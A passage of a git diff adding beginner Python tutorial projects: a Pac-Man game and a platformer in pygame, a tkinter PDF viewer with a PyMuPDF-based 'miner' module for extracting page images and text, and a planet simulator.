CHAR_SIZE, PLAYER_SPEED +from animation import import_sprite + +class Pac(pygame.sprite.Sprite): + def __init__(self, row, col): + super().__init__() + + self.abs_x = (row * CHAR_SIZE) + self.abs_y = (col * CHAR_SIZE) + + # pac animation + self._import_character_assets() + self.frame_index = 0 + self.animation_speed = 0.5 + self.image = self.animations["idle"][self.frame_index] + self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y)) + self.mask = pygame.mask.from_surface(self.image) + + self.pac_speed = PLAYER_SPEED + self.immune_time = 0 + self.immune = False + + self.directions = {'left': (-PLAYER_SPEED, 0), 'right': (PLAYER_SPEED, 0), 'up': (0, -PLAYER_SPEED), 'down': (0, PLAYER_SPEED)} + self.keys = {'left': pygame.K_LEFT, 'right': pygame.K_RIGHT, 'up': pygame.K_UP, 'down': pygame.K_DOWN} + self.direction = (0, 0) + + # pac status + self.status = "idle" + self.life = 3 + self.pac_score = 0 + + + # gets all the image needed for animating specific player action + def _import_character_assets(self): + character_path = "assets/pac/" + self.animations = { + "up": [], + "down": [], + "left": [], + "right": [], + "idle": [], + "power_up": [] + } + for animation in self.animations.keys(): + full_path = character_path + animation + self.animations[animation] = import_sprite(full_path) + + + def _is_collide(self, x, y): + tmp_rect = self.rect.move(x, y) + if tmp_rect.collidelist(self.walls_collide_list) == -1: + return False + return True + + + def move_to_start_pos(self): + self.rect.x = self.abs_x + self.rect.y = self.abs_y + + + # update with sprite/sheets + def animate(self, pressed_key, walls_collide_list): + animation = self.animations[self.status] + + # loop over frame index + self.frame_index += self.animation_speed + if self.frame_index >= len(animation): + self.frame_index = 0 + image = animation[int(self.frame_index)] + self.image = pygame.transform.scale(image, (CHAR_SIZE, CHAR_SIZE)) + + self.walls_collide_list = walls_collide_list + for key, key_value in self.keys.items(): + if pressed_key[key_value] and not self._is_collide(*self.directions[key]): + self.direction = self.directions[key] + self.status = key if not self.immune else "power_up" + break + + if not self._is_collide(*self.direction): + self.rect.move_ip(self.direction) + self.status = self.status if not self.immune else "power_up" + if self._is_collide(*self.direction): + self.status = "idle" if not self.immune else "power_up" + + + def update(self): + # Timer based from FPS count + self.immune = True if self.immune_time > 0 else False + self.immune_time -= 1 if self.immune_time > 0 else 0 + + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/pacman-game/requirements.txt b/gui-programming/pacman-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/pacman-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pacman-game/settings.py b/gui-programming/pacman-game/settings.py new file mode 100644 index 00000000..671a476f --- /dev/null +++ b/gui-programming/pacman-game/settings.py @@ -0,0 +1,33 @@ +MAP = [ + ['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','B','1','1',' ','1','1','1',' ','1',' ','1','1','1',' ','1','1','B','1'], + ['1',' ',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ',' ','1'], + ['1','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1','1'], + ['1',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ','1'], + ['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ','r',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1',' ','1','1','1',' ','1','1','-','1','1',' ','1','1','1',' ','1','1'], + [' ',' ',' ',' ',' ','1',' ','1','s','p','o','1',' ','1',' ',' ',' ',' ',' '], + ['1','1',' ','1',' ','1',' ','1','1','1','1','1',' ','1',' ','1',' ','1','1'], + ['1',' ',' ','1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1',' ',' ','1'], + ['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1'], + ['1',' ',' ',' ','1',' ',' ',' ',' ','P',' ',' ',' ',' ','1',' ',' ',' ','1'], + ['1','B','1',' ','1',' ','1',' ','1','1','1',' ','1',' ','1',' ','1','B','1'], + ['1',' ','1',' ',' ',' ','1',' ',' ',' ',' ',' ','1',' ',' ',' ','1',' ','1'], + ['1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'] +] + +BOARD_RATIO = (len(MAP[0]), len(MAP)) +CHAR_SIZE = 32 + +WIDTH, HEIGHT = (BOARD_RATIO[0] * CHAR_SIZE, BOARD_RATIO[1] * CHAR_SIZE) +NAV_HEIGHT = 64 + +PLAYER_SPEED = CHAR_SIZE // 4 + +GHOST_SPEED = 4 \ No newline at end of file diff --git a/gui-programming/pacman-game/world.py b/gui-programming/pacman-game/world.py new file mode 100644 index 00000000..2fbe33e4 --- /dev/null +++ b/gui-programming/pacman-game/world.py @@ -0,0 +1,169 @@ +import pygame +import time + +from settings import HEIGHT, WIDTH, NAV_HEIGHT, CHAR_SIZE, MAP, PLAYER_SPEED +from pac import Pac +from cell import Cell +from berry import Berry +from ghost import Ghost +from display import Display + +class World: + def __init__(self, screen): + self.screen = screen + + self.player = pygame.sprite.GroupSingle() + self.ghosts = pygame.sprite.Group() + self.walls = pygame.sprite.Group() + self.berries = pygame.sprite.Group() + + self.display = Display(self.screen) + + self.game_over = False + self.reset_pos = False + self.player_score = 0 + self.game_level = 1 + + self._generate_world() + + + # create and add player to the screen + def _generate_world(self): + # renders obstacle from the MAP table + for y_index, col in enumerate(MAP): + for x_index, char in enumerate(col): + if char == "1": # for walls + self.walls.add(Cell(x_index, y_index, CHAR_SIZE, CHAR_SIZE)) + elif char == " ": # for paths to be filled with berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4)) + elif char == "B": # for big berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True)) + + # for Ghosts's starting position + elif char == "s": + self.ghosts.add(Ghost(x_index, y_index, "skyblue")) + elif char == "p": + self.ghosts.add(Ghost(x_index, y_index, "pink")) + elif char == "o": + self.ghosts.add(Ghost(x_index, y_index, "orange")) + elif char == "r": + self.ghosts.add(Ghost(x_index, y_index, "red")) + + elif char == "P": # for PacMan's starting position + self.player.add(Pac(x_index, y_index)) + + self.walls_collide_list = [wall.rect for wall in self.walls.sprites()] + + + def generate_new_level(self): + for y_index, col in enumerate(MAP): + for x_index, char in enumerate(col): + if char == " ": # for paths to be filled with berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4)) + elif char == "B": # for big berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True)) + time.sleep(2) + + + def restart_level(self): + self.berries.empty() + [ghost.move_to_start_pos() for ghost in self.ghosts.sprites()] + self.game_level = 1 + self.player.sprite.pac_score = 0 + self.player.sprite.life = 3 + self.player.sprite.move_to_start_pos() + self.player.sprite.direction = (0, 0) + self.player.sprite.status = "idle" + self.generate_new_level() + + + # displays nav + def _dashboard(self): + nav = pygame.Rect(0, HEIGHT, WIDTH, NAV_HEIGHT) + pygame.draw.rect(self.screen, pygame.Color("cornsilk4"), nav) + + self.display.show_life(self.player.sprite.life) + self.display.show_level(self.game_level) + self.display.show_score(self.player.sprite.pac_score) + + + def _check_game_state(self): + # checks if game over + if self.player.sprite.life == 0: + self.game_over = True + + # generates new level + if len(self.berries) == 0 and self.player.sprite.life > 0: + self.game_level += 1 + for ghost in self.ghosts.sprites(): + ghost.move_speed += self.game_level + ghost.move_to_start_pos() + + self.player.sprite.move_to_start_pos() + self.player.sprite.direction = (0, 0) + self.player.sprite.status = "idle" + self.generate_new_level() + + + def update(self): + if not self.game_over: + # player movement + pressed_key = pygame.key.get_pressed() + self.player.sprite.animate(pressed_key, self.walls_collide_list) + + # teleporting to the other side of the map + if self.player.sprite.rect.right <= 0: + self.player.sprite.rect.x = WIDTH + elif self.player.sprite.rect.left >= WIDTH: + self.player.sprite.rect.x = 0 + + # PacMan eating-berry effect + for berry in self.berries.sprites(): + if self.player.sprite.rect.colliderect(berry.rect): + if berry.power_up: + self.player.sprite.immune_time = 150 # Timer based from FPS count + self.player.sprite.pac_score += 50 + else: + self.player.sprite.pac_score += 10 + berry.kill() + + # PacMan bumping into ghosts + for ghost in self.ghosts.sprites(): + if self.player.sprite.rect.colliderect(ghost.rect): + if not self.player.sprite.immune: + time.sleep(2) + self.player.sprite.life -= 1 + self.reset_pos = True + break + else: + ghost.move_to_start_pos() + self.player.sprite.pac_score += 100 + + self._check_game_state() + + # rendering + [wall.update(self.screen) for wall in self.walls.sprites()] + [berry.update(self.screen) for berry in self.berries.sprites()] + [ghost.update(self.walls_collide_list) for ghost in self.ghosts.sprites()] + self.ghosts.draw(self.screen) + + self.player.update() + self.player.draw(self.screen) + self.display.game_over() if self.game_over else None + + self._dashboard() + + # reset Pac and Ghosts position after PacMan get captured + if self.reset_pos and not self.game_over: + [ghost.move_to_start_pos() for ghost in self.ghosts.sprites()] + self.player.sprite.move_to_start_pos() + self.player.sprite.status = "idle" + self.player.sprite.direction = (0,0) + self.reset_pos = False + + # for restart button + if self.game_over: + pressed_key = pygame.key.get_pressed() + if pressed_key[pygame.K_r]: + self.game_over = False + self.restart_level() \ No newline at end of file diff --git a/gui-programming/pdf-viewer/README.md b/gui-programming/pdf-viewer/README.md new file mode 100644 index 00000000..28f639b4 --- /dev/null +++ b/gui-programming/pdf-viewer/README.md @@ -0,0 +1 @@ +# How to Make a GUI PDF Viewer in Python](https://www.thepythoncode.com/article/make-pdf-viewer-with-tktinter-in-python) \ No newline at end of file diff --git a/gui-programming/pdf-viewer/downarrow.png b/gui-programming/pdf-viewer/downarrow.png new file mode 100644 index 00000000..ab2f3f5d Binary files /dev/null and b/gui-programming/pdf-viewer/downarrow.png differ diff --git a/gui-programming/pdf-viewer/miner.py b/gui-programming/pdf-viewer/miner.py new file mode 100644 index 00000000..5b38dc0f --- /dev/null +++ b/gui-programming/pdf-viewer/miner.py @@ -0,0 +1,65 @@ +# this is for doing some math operations +import math +# this is for handling the PDF operations +import fitz +# importing PhotoImage from tkinter +from tkinter import PhotoImage + + + +class PDFMiner: + def __init__(self, filepath): + # creating the file path + self.filepath = filepath + # opening the pdf document + self.pdf = fitz.open(self.filepath) + # loading the first page of the pdf document + self.first_page = self.pdf.load_page(0) + # getting the height and width of the first page + self.width, self.height = self.first_page.rect.width, self.first_page.rect.height + # initializing the zoom values of the page + zoomdict = {800:0.8, 700:0.6, 600:1.0, 500:1.0} + # getting the width value + width = int(math.floor(self.width / 100.0) * 100) + # zooming the page + self.zoom = zoomdict[width] + + # this will get the metadata from the document like + # author, name of document, number of pages + def get_metadata(self): + # getting metadata from the open PDF document + metadata = self.pdf.metadata + # getting number of pages from the open PDF document + numPages = self.pdf.page_count + # returning the metadata and the numPages + return metadata, numPages + + # the function for getting the page + def get_page(self, page_num): + # loading the page + page = self.pdf.load_page(page_num) + # checking if zoom is True + if self.zoom: + # creating a Matrix whose zoom factor is self.zoom + mat = fitz.Matrix(self.zoom, self.zoom) + # gets the image of the page + pix = page.get_pixmap(matrix=mat) + # returns the image of the page + else: + pix = page.get_pixmap() + # a variable that holds a transparent image + px1 = fitz.Pixmap(pix, 0) if pix.alpha else pix + # converting the image to bytes + imgdata = px1.tobytes("ppm") + # returning the image data + return PhotoImage(data=imgdata) + + + # function to get text from the current page + def get_text(self, page_num): + # loading the page + page = self.pdf.load_page(page_num) + # getting text from the loaded page + text = page.getText('text') + # returning text + return text \ No newline at end of file diff --git a/gui-programming/pdf-viewer/pdf_file_icon.ico b/gui-programming/pdf-viewer/pdf_file_icon.ico new file mode 100644 index 00000000..3054b169 Binary files /dev/null and b/gui-programming/pdf-viewer/pdf_file_icon.ico differ diff --git a/gui-programming/pdf-viewer/pdfviewer.py b/gui-programming/pdf-viewer/pdfviewer.py new file mode 100644 index 00000000..8b99bdb3 --- /dev/null +++ b/gui-programming/pdf-viewer/pdfviewer.py @@ -0,0 +1,177 @@ +# importing everything from tkinter +from tkinter import * +# importing ttk for styling widgets from tkinter +from tkinter import ttk +# importing filedialog from tkinter +from tkinter import filedialog as fd +# importing os module +import os +# importing the PDFMiner class from the miner file +from miner import PDFMiner + + + +# creating a class called PDFViewer +class PDFViewer: + # initializing the __init__ / special method + def __init__(self, master): + # path for the pdf doc + self.path = None + # state of the pdf doc, open or closed + self.fileisopen = None + # author of the pdf doc + self.author = None + # name for the pdf doc + self.name = None + # the current page for the pdf + self.current_page = 0 + # total number of pages for the pdf doc + self.numPages = None + # creating the window + self.master = master + # gives title to the main window + self.master.title('PDF Viewer') + # gives dimensions to main window + self.master.geometry('580x520+440+180') + # this disables the minimize/maximize button on the main window + self.master.resizable(width = 0, height = 0) + # loads the icon and adds it to the main window + self.master.iconbitmap(self.master, 'pdf_file_icon.ico') + # creating the menu + self.menu = Menu(self.master) + # adding it to the main window + self.master.config(menu=self.menu) + # creating a sub menu + self.filemenu = Menu(self.menu) + # giving the sub menu a label + self.menu.add_cascade(label="File", menu=self.filemenu) + # adding a two buttons to the sub menus + self.filemenu.add_command(label="Open File", command=self.open_file) + self.filemenu.add_command(label="Exit", command=self.master.destroy) + # creating the top frame + self.top_frame = ttk.Frame(self.master, width=580, height=460) + # placing the frame using inside main window using grid() + self.top_frame.grid(row=0, column=0) + # the frame will not propagate + self.top_frame.grid_propagate(False) + # creating the bottom frame + self.bottom_frame = ttk.Frame(self.master, width=580, height=50) + # placing the frame using inside main window using grid() + self.bottom_frame.grid(row=1, column=0) + # the frame will not propagate + self.bottom_frame.grid_propagate(False) + # creating a vertical scrollbar + self.scrolly = Scrollbar(self.top_frame, orient=VERTICAL) + # adding the scrollbar + self.scrolly.grid(row=0, column=1, sticky=(N,S)) + # creating a horizontal scrollbar + self.scrollx = Scrollbar(self.top_frame, orient=HORIZONTAL) + # adding the scrollbar + self.scrollx.grid(row=1, column=0, sticky=(W, E)) + # creating the canvas for display the PDF pages + self.output = Canvas(self.top_frame, bg='#ECE8F3', width=560, height=435) + # inserting both vertical and horizontal scrollbars to the canvas + self.output.configure(yscrollcommand=self.scrolly.set, xscrollcommand=self.scrollx.set) + # adding the canvas + self.output.grid(row=0, column=0) + # configuring the horizontal scrollbar to the canvas + self.scrolly.configure(command=self.output.yview) + # configuring the vertical scrollbar to the canvas + self.scrollx.configure(command=self.output.xview) + # loading the button icons + self.uparrow_icon = PhotoImage(file='uparrow.png') + self.downarrow_icon = PhotoImage(file='downarrow.png') + # resizing the icons to fit on buttons + self.uparrow = self.uparrow_icon.subsample(3, 3) + self.downarrow = self.downarrow_icon.subsample(3, 3) + # creating an up button with an icon + self.upbutton = ttk.Button(self.bottom_frame, image=self.uparrow, command=self.previous_page) + # adding the button + self.upbutton.grid(row=0, column=1, padx=(270, 5), pady=8) + # creating a down button with an icon + self.downbutton = ttk.Button(self.bottom_frame, image=self.downarrow, command=self.next_page) + # adding the button + self.downbutton.grid(row=0, column=3, pady=8) + # label for displaying page numbers + self.page_label = ttk.Label(self.bottom_frame, text='page') + # adding the label + self.page_label.grid(row=0, column=4, padx=5) + + # function for opening pdf files + def open_file(self): + # open the file dialog + filepath = fd.askopenfilename(title='Select a PDF file', initialdir=os.getcwd(), filetypes=(('PDF', '*.pdf'), )) + # checking if the file exists + if filepath: + # declaring the path + self.path = filepath + # extracting the pdf file from the path + filename = os.path.basename(self.path) + # passing the path to PDFMiner + self.miner = PDFMiner(self.path) + # getting data and numPages + data, numPages = self.miner.get_metadata() + # setting the current page to 0 + self.current_page = 0 + # checking if numPages exists + if numPages: + # getting the title + self.name = data.get('title', filename[:-4]) + # getting the author + self.author = data.get('author', None) + self.numPages = numPages + # setting fileopen to True + self.fileisopen = True + # calling the display_page() function + self.display_page() + # replacing the window title with the PDF document name + self.master.title(self.name) + + # the function to display the page + def display_page(self): + # checking if numPages is less than current_page and if current_page is less than + # or equal to 0 + if 0 <= self.current_page < self.numPages: + # getting the page using get_page() function from miner + self.img_file = self.miner.get_page(self.current_page) + # inserting the page image inside the Canvas + self.output.create_image(0, 0, anchor='nw', image=self.img_file) + # the variable to be stringified + self.stringified_current_page = self.current_page + 1 + # updating the page label with number of pages + self.page_label['text'] = str(self.stringified_current_page) + ' of ' + str(self.numPages) + # creating a region for inserting the page inside the Canvas + region = self.output.bbox(ALL) + # making the region to be scrollable + self.output.configure(scrollregion=region) + + # function for displaying next page + def next_page(self): + # checking if file is open + if self.fileisopen: + # checking if current_page is less than or equal to numPages-1 + if self.current_page <= self.numPages - 1: + # updating the page with value 1 + self.current_page += 1 + # displaying the new page + self.display_page() + + # function for displaying the previous page + def previous_page(self): + # checking if fileisopen + if self.fileisopen: + # checking if current_page is greater than 0 + if self.current_page > 0: + # decrementing the current_page by 1 + self.current_page -= 1 + # displaying the previous page + self.display_page() + + + +# creating the root winding using Tk() class +root = Tk() +# instantiating/creating object app for class PDFViewer +app = PDFViewer(root) +# calling the mainloop to run the app infinitely until user closes it +root.mainloop() \ No newline at end of file diff --git a/gui-programming/pdf-viewer/requirements.txt b/gui-programming/pdf-viewer/requirements.txt new file mode 100644 index 00000000..2d431b0f --- /dev/null +++ b/gui-programming/pdf-viewer/requirements.txt @@ -0,0 +1 @@ +PyMuPDF \ No newline at end of file diff --git a/gui-programming/pdf-viewer/uparrow.png b/gui-programming/pdf-viewer/uparrow.png new file mode 100644 index 00000000..49e048db Binary files /dev/null and b/gui-programming/pdf-viewer/uparrow.png differ diff --git a/gui-programming/planet-simulator/README.md b/gui-programming/planet-simulator/README.md new file mode 100644 index 00000000..5e303da6 --- /dev/null +++ b/gui-programming/planet-simulator/README.md @@ -0,0 +1 @@ +# [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/planet-simulator/planet_simulator.py b/gui-programming/planet-simulator/planet_simulator.py new file mode 100644 index 00000000..1695b488 --- /dev/null +++ b/gui-programming/planet-simulator/planet_simulator.py @@ -0,0 +1,125 @@ +# Imports +import sys +import pygame + +# We will work with the Vector2 because it has some useful functions. +from pygame.math import Vector2 + +from random import randrange + +import ctypes + +# Enable High Dots Per Inch so the image displayed on the window is sharper. +ctypes.windll.shcore.SetProcessDpiAwareness(1) + +# Configuration +pygame.init() +fps = 60 +fpsClock = pygame.time.Clock() + +# Window Size +windowdim = Vector2(800, 800) +screen = pygame.display.set_mode((int(windowdim.x), int(windowdim.y))) + +# all the Planets are stored here +# They will append themselves. +planets = [] + +# The Planet Class which will handle drawing and calculating planets. +class Planet(): + def __init__(self, position, delta=Vector2(0, 0), radius=10, imovable=False): + + # Where the planet is at the moment + self.position = position + + # The Radius determines how much this planet effects others + self.radius = radius + + # The Velocity + self.delta = delta + + # If this planet is moving + self.imovable = imovable + + # If this planet can be eaten by others. + self.eatable = False + + + # Appending itself to the list so its process + # function will later be called in a loop. + planets.append(self) + + + def process(self): + # This function will be called once every frame + # and it is responsible for calculating where the planet will go. + + # No Movement Calculations will happen if the planet doesnt move at all. + # it also wont be eaten. + if not self.imovable: + for i in planets: + if not i is self: + try: + if self.eatable: + if self.position.distance_to(i.position) < self.radius + i.radius: + print('Eaten') + i.radius += self.radius + planets.remove(self) + dir_from_obj = (i.position - self.position).normalize() * 0.01 * (i.radius / 10) + self.delta += dir_from_obj + except: + print('In the same spot') + + self.position += self.delta + + # Drawing the planet at the current position. + pygame.draw.circle( + screen, + [255, 255, 255], + self.position, + self.radius, + ) + +# Sun and two opposing Planets +""" Planet(Vector2(400, 400), radius=50, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(3, 0), radius=10) +Planet(Vector2(400, 600), delta=Vector2(-3, 0), radius=10) """ + +# Sun and four opposing Planets +Planet(Vector2(400, 400), radius=50, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(3, 0), radius=10) +Planet(Vector2(400, 600), delta=Vector2(-3, 0), radius=10) +Planet(Vector2(600, 400), delta=Vector2(0, 3), radius=10) +Planet(Vector2(200, 400), delta=Vector2(0, -3), radius=10) + +# Two Suns and two planets +""" Planet(Vector2(600, 400), radius=20, imovable=True) +Planet(Vector2(200, 400), radius=20, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(0, 0), radius=10) +Planet(Vector2(400, 210), delta=Vector2(1, 2), radius=5) """ + +# Grid +# gridDimension = 10 +# gridgap = 80 +# for x in range(gridDimension): +# for y in range(gridDimension): +# Planet(Vector2(gridgap * x + 40, gridgap * y + 40), radius=3, imovable=True) + +# Planet(Vector2(200, 200), delta=Vector2(randrange(-3, 3), 2), radius=5) + +# Game loop. +while True: + screen.fill((0, 0, 0)) + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + for p in planets: + p.process() + + pygame.display.flip() + fpsClock.tick(fps) diff --git a/gui-programming/planet-simulator/requirements.txt b/gui-programming/planet-simulator/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/planet-simulator/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/platformer-game/README.Md b/gui-programming/platformer-game/README.Md new file mode 100644 index 00000000..fb346961 --- /dev/null +++ b/gui-programming/platformer-game/README.Md @@ -0,0 +1 @@ +# [How to Create a Platformer Game in Python](https://www.thepythoncode.com/article/platformer-game-with-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/platformer-game/assets/goal/gate.png b/gui-programming/platformer-game/assets/goal/gate.png new file mode 100644 index 00000000..c088b640 Binary files /dev/null and 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self.screen = screen + self.font = pygame.font.SysFont("impact", 70) + self.message_color = pygame.Color("darkorange") + + # if player ran out of life or fell below the platform + def _game_lose(self, player): + player.game_over = True + message = self.font.render('You Lose...', True, self.message_color) + self.screen.blit(message,(WIDTH // 3 + 70, 70)) + + # if player reach the goal + def _game_win(self, player): + player.game_over = True + player.win = True + message = self.font.render('You Win!!', True, self.message_color) + self.screen.blit(message,(WIDTH // 3, 70)) + + # checks if the game is over or not, and if win or lose + def game_state(self, player, goal): + if player.life <= 0 or player.rect.y >= HEIGHT: + self._game_lose(player) + elif player.rect.colliderect(goal.rect): + self._game_win(player) + else: + None + + def show_life(self, player): + life_size = 30 + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (life_size, life_size)) + # life_rect = life_image.get_rect(topleft = pos) + indent = 0 + for life in range(player.life): + indent += life_size + self.screen.blit(life_image, (indent, life_size)) \ No newline at end of file diff --git a/gui-programming/platformer-game/goal.py b/gui-programming/platformer-game/goal.py new file mode 100644 index 00000000..419e66a4 --- /dev/null +++ b/gui-programming/platformer-game/goal.py @@ -0,0 +1,13 @@ +import pygame + +class Goal(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + img_path = 'assets/goal/gate.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift \ No newline at end of file diff --git a/gui-programming/platformer-game/main.py b/gui-programming/platformer-game/main.py new file mode 100644 index 00000000..ac01a83c --- /dev/null +++ b/gui-programming/platformer-game/main.py @@ -0,0 +1,46 @@ +import pygame, sys +from settings import * +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Platformer") + +class Platformer: + def __init__(self, screen, width, height): + self.screen = screen + self.clock = pygame.time.Clock() + self.player_event = False + + self.bg_img = pygame.image.load('assets/terrain/bg.jpg') + self.bg_img = pygame.transform.scale(self.bg_img, (width, height)) + + def main(self): + world = World(world_map, self.screen) + while True: + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if event.key == pygame.K_LEFT: + self.player_event = "left" + if event.key == pygame.K_RIGHT: + self.player_event = "right" + if event.key == pygame.K_SPACE: + self.player_event = "space" + elif event.type == pygame.KEYUP: + self.player_event = False + + world.update(self.player_event) + pygame.display.update() + self.clock.tick(60) + + +if __name__ == "__main__": + play = Platformer(screen, WIDTH, HEIGHT) + play.main() \ No newline at end of file diff --git a/gui-programming/platformer-game/player.py b/gui-programming/platformer-game/player.py new file mode 100644 index 00000000..8f614ca3 --- /dev/null +++ b/gui-programming/platformer-game/player.py @@ -0,0 +1,115 @@ +import pygame +from support import import_sprite + +class Player(pygame.sprite.Sprite): + def __init__(self, pos): + super().__init__() + self._import_character_assets() + self.frame_index = 0 + self.animation_speed = 0.15 + self.image = self.animations["idle"][self.frame_index] + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # player movement + self.direction = pygame.math.Vector2(0, 0) + self.speed = 5 + self.jump_move = -16 + + # player status + self.life = 5 + self.game_over = False + self.win = False + self.status = "idle" + self.facing_right = True + self.on_ground = False + self.on_ceiling = False + self.on_left = False + self.on_right = False + + # gets all the image needed for animating specific player action + def _import_character_assets(self): + character_path = "assets/player/" + self.animations = { + "idle": [], + "walk": [], + "jump": [], + "fall": [], + "lose": [], + "win": [] + } + for animation in self.animations.keys(): + full_path = character_path + animation + self.animations[animation] = import_sprite(full_path) + + # animates the player actions + def _animate(self): + animation = self.animations[self.status] + + # loop over frame index + self.frame_index += self.animation_speed + if self.frame_index >= len(animation): + self.frame_index = 0 + image = animation[int(self.frame_index)] + image = pygame.transform.scale(image, (35, 50)) + if self.facing_right: + self.image = image + else: + flipped_image = pygame.transform.flip(image, True, False) + self.image = flipped_image + + # set the rect + if self.on_ground and self.on_right: + self.rect = self.image.get_rect(bottomright = self.rect.bottomright) + elif self.on_ground and self.on_left: + self.rect = self.image.get_rect(bottomleft = self.rect.bottomleft) + elif self.on_ground: + self.rect = self.image.get_rect(midbottom = self.rect.midbottom) + elif self.on_ceiling and self.on_right: + self.rect = self.image.get_rect(topright = self.rect.topright) + elif self.on_ceiling and self.on_left: + self.rect = self.image.get_rect(bottomleft = self.rect.topleft) + elif self.on_ceiling: + self.rect = self.image.get_rect(midtop = self.rect.midtop) + + # checks if the player is moving towards left or right or not moving + def _get_input(self, player_event): + if player_event != False: + if player_event == "right": + self.direction.x = 1 + self.facing_right = True + elif player_event == "left": + self.direction.x = -1 + self.facing_right = False + else: + self.direction.x = 0 + + def _jump(self): + self.direction.y = self.jump_move + + # identifies player action + def _get_status(self): + if self.direction.y < 0: + self.status = "jump" + elif self.direction.y > 1: + self.status = "fall" + elif self.direction.x != 0: + self.status = "walk" + else: + self.status = "idle" + + # update the player's state + def update(self, player_event): + self._get_status() + if self.life > 0 and not self.game_over: + if player_event == "space" and self.on_ground: + self._jump() + else: + self._get_input(player_event) + elif self.game_over and self.win: + self.direction.x = 0 + self.status = "win" + else: + self.direction.x = 0 + self.status = "lose" + self._animate() diff --git a/gui-programming/platformer-game/requirements.txt b/gui-programming/platformer-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/platformer-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/platformer-game/settings.py b/gui-programming/platformer-game/settings.py new file mode 100644 index 00000000..dd578461 --- /dev/null +++ b/gui-programming/platformer-game/settings.py @@ -0,0 +1,15 @@ +world_map = [ + ' ', + ' ', + ' t t ', + ' X XXXXXXXXXs XX X ', + ' tXXXt XX XX XXXX tt XX ', + ' XX XX XXXXX ', + ' Xt t t t X G ', + ' XXXXXX XXXXs XXXXXXXXXXX XX tt t XXX', + ' P XX X XX X X XXXt X XX XX XXX XXXXXXXXs XXXXXX ', + 'XXXXXXX X X X X XXXXXXXXX XX XX XXX XX XX XXXXXXX X ', +] + +tile_size = 50 +WIDTH, HEIGHT = 1000, len(world_map) * tile_size \ No newline at end of file diff --git a/gui-programming/platformer-game/support.py b/gui-programming/platformer-game/support.py new file mode 100644 index 00000000..d0e297b5 --- /dev/null +++ b/gui-programming/platformer-game/support.py @@ -0,0 +1,11 @@ +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/platformer-game/tile.py b/gui-programming/platformer-game/tile.py new file mode 100644 index 00000000..7e3ec1ec --- /dev/null +++ b/gui-programming/platformer-game/tile.py @@ -0,0 +1,13 @@ +import pygame + +class Tile(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + img_path = 'assets/terrain/stone.jpg' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift \ No newline at end of file diff --git a/gui-programming/platformer-game/trap.py b/gui-programming/platformer-game/trap.py new file mode 100644 index 00000000..45034c1f --- /dev/null +++ b/gui-programming/platformer-game/trap.py @@ -0,0 +1,29 @@ +import pygame +from support import import_sprite + +class Trap(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + self.blade_img = import_sprite("assets/trap/blade") + self.frame_index = 0 + self.animation_delay = 3 + self.image = 